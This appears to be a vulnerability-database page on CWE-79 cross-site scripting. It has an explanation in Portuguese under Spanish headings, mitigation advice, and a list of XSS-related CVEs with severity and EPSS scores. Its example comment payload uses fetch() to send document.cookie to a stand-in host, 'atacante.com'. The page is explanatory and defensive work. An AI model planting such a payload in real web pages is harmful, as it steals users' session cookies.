Fallos del tipo CWE-79

29.907 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-37958MEDIUMWordPress Meks Smart Author Widget plugin <= 1.1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-28298MEDIUMSolarWinds Observability Self-Hosted Stored Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2023-46091MEDIUMWordPress Category SEO Meta Tags Plugin <= 2.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-75661MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75705MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2022-38801MEDIUMIn Zkteco BioTime < 8.5.3 Build:20200816.447, an employee can hijack an administrator session and cookies using blind cross-site scripting.EPSS 0.4%CVE-2026-75722MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-30440MEDIUMWordPress Themify Event Post plugin <= 1.2.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75681MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-19644MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2025-0918HIGHSMTP for SendGrid – YaySMTP <= 1.4 - Unauthenticated Stored Cross-Site Scripting via Email LogsEPSS 0.4%CVE-2024-3178LOWConcrete CMS versions 9 below 9.2.8 and versions below 8.5.16 are vulnerable to Cross-site Scripting (XSS) in the Advanced File Search FilterEPSS 0.4%CVE-2026-75707MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2023-46200MEDIUMWordPress Smart App Banner Plugin <= 1.1.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-29816MEDIUMWordPress Woo Viet plugin <= 1.5.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-75678MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-49971MEDIUMLaravel-Mediable < 7.0.0 Stored XSS via SVG File UploadEPSS 0.4%CVE-2026-75704MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2026-75680MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2024-29815MEDIUMWordPress WP Change Email Sender plugin < 1.3.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%